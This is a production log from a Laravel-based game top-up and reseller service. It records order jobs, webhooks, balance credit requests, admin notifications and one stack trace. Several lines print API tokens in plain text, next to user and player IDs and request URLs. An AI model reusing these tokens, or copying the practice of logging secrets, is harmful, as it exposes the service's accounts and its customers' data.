[2026-03-24 18:26:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mmkLR-1774365879","operation_id":163999,"count":1} 
[2026-03-24 18:26:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mmkLR-1774365879","operation_id":163999,"user_id":1552,"notification_type":"order_approved","reference_id":179096} 
[2026-03-24 18:26:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mmkLR-1774365879","operation_id":163999,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:26:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mmkLR-1774365879","operation_id":163999,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:26:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mmkLR-1774365879","operation_id":163999,"processed":1,"errors":0} 
[2026-03-24 18:26:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mmkLR-1774365879","operation_id":163999,"processed":1,"errors":0} 
[2026-03-24 18:26:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"KhAGWXM2BuoeUQDENIZgp2Wkfa0qwvqr","execution_time":"2026-03-24 18:26:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-mmkLR-1774365879","operation_id":163999} 
[2026-03-24 18:26:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1552  
[2026-03-24 18:26:08] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-BjO-1774365927","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:26:08] production.INFO: Processed webhook data (normalized) {"id":"ORD-BjO-1774365927","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:26:08] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:26:08] production.INFO: SendAcceptReject: Notification queued {"user_id":1247,"notification_type":"order_approved","reference_id":179098} 
[2026-03-24 18:26:08] production.INFO: Order updated successfully. Order ID: 179098, Status: completed  
[2026-03-24 18:26:08] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-BjO-1774365927","status":"completed","codes_count":0} 
[2026-03-24 18:26:09] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ganLt-1774365943","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:26:09] production.INFO: Processed webhook data (normalized) {"id":"ORD-ganLt-1774365943","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:26:09] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:26:09] production.INFO: SendAcceptReject: Notification queued {"user_id":797,"notification_type":"order_approved","reference_id":179099} 
[2026-03-24 18:26:09] production.INFO: Order updated successfully. Order ID: 179099, Status: completed  
[2026-03-24 18:26:09] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ganLt-1774365943","status":"completed","codes_count":0} 
[2026-03-24 18:26:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1247  
[2026-03-24 18:26:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 797  
[2026-03-24 18:26:22] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"520.0","mainamount":"520","operation_number":"600430984120","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpp9j0uo0d3g5hcViNeEw"}},"user_id":219} 
[2026-03-24 18:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:26:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:26:23] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:26:23] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18666,"user_id":219,"amount":520.0,"admins_notified":7} 
[2026-03-24 18:26:32] production.INFO: Constructing job for order: 179100  
[2026-03-24 18:26:35] production.INFO: Handling job for order: 179100  
[2026-03-24 18:26:35] production.ERROR: API failed for order 179100 {"order_id":179100,"error_message":"No query results for model [App\\Models\\PriceAsync].","error_code":0,"file":"/home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php","line":780,"stack_trace":"#0 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(250): Illuminate\\Database\\Eloquent\\Builder->firstOrFail()
#1 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(29): App\\Services\\ExternalSite\\OrderExternalService->doRequest(179100, 30, 1, 'bbe3ddc6-720c-4...', '[{\"key\":\"player...', 9, 32)
#2 /home/talaah/public_html/app/Jobs/OrderApiJob.php(71): App\\Services\\ExternalSite\\OrderExternalService->sendOrder(179100)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\\Jobs\\OrderApiJob->handle()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(129): Illuminate\\Container\\Container->call(Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Bus\\Dispatcher->{closure:Illuminate\\Bus\\Dispatcher::dispatchNow():126}(Object(App\\Jobs\\OrderApiJob))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(133): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(134): Illuminate\\Bus\\Dispatcher->dispatchNow(Object(App\\Jobs\\OrderApiJob), false)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Queue\\CallQueuedHandler->{closure:Illuminate\\Queue\\CallQueuedHandler::dispatchThroughMiddleware():127}(Object(App\\Jobs\\OrderApiJob))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(127): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(68): Illuminate\\Queue\\CallQueuedHandler->dispatchThroughMiddleware(Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(App\\Jobs\\OrderApiJob))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(102): Illuminate\\Queue\\CallQueuedHandler->call(Object(Illuminate\\Queue\\Jobs\\RedisJob), Array)
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(487): Illuminate\\Queue\\Jobs\\Job->fire()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(437): Illuminate\\Queue\\Worker->process('redis', Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(Illuminate\\Queue\\WorkerOptions))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(201): Illuminate\\Queue\\Worker->runJob(Object(Illuminate\\Queue\\Jobs\\RedisJob), 'redis', Object(Illuminate\\Queue\\WorkerOptions))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(148): Illuminate\\Queue\\Worker->daemon('redis', 'default', Object(Illuminate\\Queue\\WorkerOptions))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(131): Illuminate\\Queue\\Console\\WorkCommand->runWorker('redis', 'default')
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\\Queue\\Console\\WorkCommand->handle()
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(211): Illuminate\\Container\\Container->call(Array)
#29 /home/talaah/public_html/vendor/symfony/console/Command/Command.php(341): Illuminate\\Console\\Command->execute(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(180): Symfony\\Component\\Console\\Command\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#31 /home/talaah/public_html/vendor/symfony/console/Application.php(1102): Illuminate\\Console\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#32 /home/talaah/public_html/vendor/symfony/console/Application.php(356): Symfony\\Component\\Console\\Application->doRunCommand(Object(Illuminate\\Queue\\Console\\WorkCommand), Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#33 /home/talaah/public_html/vendor/symfony/console/Application.php(195): Symfony\\Component\\Console\\Application->doRun(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(198): Symfony\\Component\\Console\\Application->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1235): Illuminate\\Foundation\\Console\\Kernel->handle(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#36 /home/talaah/public_html/artisan(13): Illuminate\\Foundation\\Application->handleCommand(Object(Symfony\\Component\\Console\\Input\\ArgvInput))
#37 {main}","previous_exception":null,"context":{"job_class":"App\\Jobs\\OrderApiJob","timestamp":"2026-03-24 18:26:35","memory_usage":59244544,"memory_peak":59244544}} 
[2026-03-24 18:26:36] production.INFO: Constructing job for order: 179101  
[2026-03-24 18:26:38] production.INFO: Handling job for order: 179101  
[2026-03-24 18:26:38] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:26:38] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:26:38] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/626/params?qty=20000&uuid=bc050e6c-54ce-46fa-9e5c-54b3e904c11d&Player_ID=7056295  
[2026-03-24 18:26:38] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/626/params?qty=20000&uuid=bc050e6c-54ce-46fa-9e5c-54b3e904c11d&Player_ID=7056295","has_body":false} 
[2026-03-24 18:26:39] production.INFO: Operation sent successfully {"operation_id":164003,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-ppHtOusv-1774365998","amount":2.50695800000000001972466634470038115978240966796875,"status":"processing","product":"SoMatch Amount","game":"SoMatch","notes":[],"created_at":"2026-03-24 18:26:38"}},"processed_data":{"order_number":"ORD-ppHtOusv-1774365998","amount":2.50695800000000001972466634470038115978240966796875,"status":"processing","product":"SoMatch Amount","game":"SoMatch"}} 
[2026-03-24 18:27:13] production.INFO: Constructing job for order: 179102  
[2026-03-24 18:27:15] production.INFO: Handling job for order: 179102  
[2026-03-24 18:27:15] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:27:15] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:27:15] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=e16f1d18-8460-4d44-a03d-7c80ff588166&Player_ID=52336683076  
[2026-03-24 18:27:15] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=e16f1d18-8460-4d44-a03d-7c80ff588166&Player_ID=52336683076","has_body":false} 
[2026-03-24 18:27:15] production.INFO: Operation sent successfully {"operation_id":164004,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-6UCroOAJ-1774366035","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:27:15"}},"processed_data":{"order_number":"ORD-6UCroOAJ-1774366035","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:27:27] production.INFO: Constructing job for order: 179103  
[2026-03-24 18:27:30] production.INFO: Handling job for order: 179103  
[2026-03-24 18:27:30] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:27:30] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:27:30] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=9d2594ed-4223-4db0-b213-b9c99f1963ab&Player_ID=51748314916  
[2026-03-24 18:27:30] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=9d2594ed-4223-4db0-b213-b9c99f1963ab&Player_ID=51748314916","has_body":false} 
[2026-03-24 18:27:31] production.INFO: Operation sent successfully {"operation_id":164005,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-vlWqFAF-1774366051","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 18:27:31"}},"processed_data":{"order_number":"ORD-vlWqFAF-1774366051","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 18:27:33] production.INFO: Constructing job for order: 179104  
[2026-03-24 18:27:34] production.INFO: Handling job for order: 179104  
[2026-03-24 18:27:34] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 18:27:34] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 18:27:34] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=25e0b96d-8eb1-40f4-839a-fe46181111a2&Player_ID=0998743993  
[2026-03-24 18:27:34] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/34/params?qty=1&uuid=25e0b96d-8eb1-40f4-839a-fe46181111a2&Player_ID=0998743993","has_body":false} 
[2026-03-24 18:27:35] production.INFO: Operation sent successfully {"operation_id":164006,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Qk9fh8H-1774366055","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 18:27:35"}},"processed_data":{"order_number":"ORD-Qk9fh8H-1774366055","amount":47.691519999999997025952325202524662017822265625,"status":"processing","product":"45.19 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 18:27:44] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-6UCroOAJ-1774366035","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:27:44] production.INFO: Processed webhook data (normalized) {"id":"ORD-6UCroOAJ-1774366035","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:27:44] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:27:44] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179102} 
[2026-03-24 18:27:44] production.INFO: Order updated successfully. Order ID: 179102, Status: completed  
[2026-03-24 18:27:44] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-6UCroOAJ-1774366035","status":"completed","codes_count":0} 
[2026-03-24 18:27:44] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-vlWqFAF-1774366051","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 18:27:44] production.INFO: Processed webhook data (normalized) {"id":"ORD-vlWqFAF-1774366051","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 18:27:44] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 18:27:45] production.INFO: SendAcceptReject: Notification queued {"user_id":29,"notification_type":"order_approved","reference_id":179103} 
[2026-03-24 18:27:45] production.INFO: Order updated successfully. Order ID: 179103, Status: completed  
[2026-03-24 18:27:45] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-vlWqFAF-1774366051","status":"completed","codes_count":0} 
[2026-03-24 18:27:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 18:27:47] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 18:28:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02"} 
[2026-03-24 18:28:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","total_operations":3,"sites_count":2} 
[2026-03-24 18:28:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-tmRYG-1774365381","ORD-ppHtOusv-1774365998"]} 
[2026-03-24 18:28:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 18:28:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 18:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:28:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 18:28:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 18:28:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":1} 
[2026-03-24 18:28:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"count":1} 
[2026-03-24 18:28:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"user_id":862,"notification_type":"order_approved","reference_id":179101} 
[2026-03-24 18:28:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 18:28:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 18:28:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"errors":0} 
[2026-03-24 18:28:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"processed":1,"errors":0} 
[2026-03-24 18:28:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1,"order_ids":["ORD-Qk9fh8H-1774366055"]} 
[2026-03-24 18:28:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980} 
[2026-03-24 18:28:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-tmRYG-1774365381","operation_id":163980,"orders_count":1} 
[2026-03-24 18:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006} 
[2026-03-24 18:28:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 18:28:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006,"processed":0,"errors":0} 
[2026-03-24 18:28:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"mICzRoW4r1aOPCQFWCKUmaLm2DHWLVu1","execution_time":"2026-03-24 18:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Qk9fh8H-1774366055","operation_id":164006} 
[2026-03-24 18:28:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 862  
[2026-03-24 18:28:08] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"500.0","mainamount":"500","operation_number":"158560176","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpi1grp8td7q2c3fp3egS"}},"user_id":1285} 
[2026-03-24 18:28:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 18:28:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 18:28:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 18:28:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 18:28:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 18:28:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 18:28:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 18:28:09] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 18:28:09] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18667,"user_id":1285,"amount":500.0,"admins_notified":7} 
[2026-03-24 18:28:25] production.INFO: Constructing job for order: 179105  
[2026-03-24 18:28:27] production.INFO: Handling job for order: 179105  
[2026-03-24 18:28:27] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 18:28:27] production.ERROR: ❌ Invalid player_id JSON: player_id  
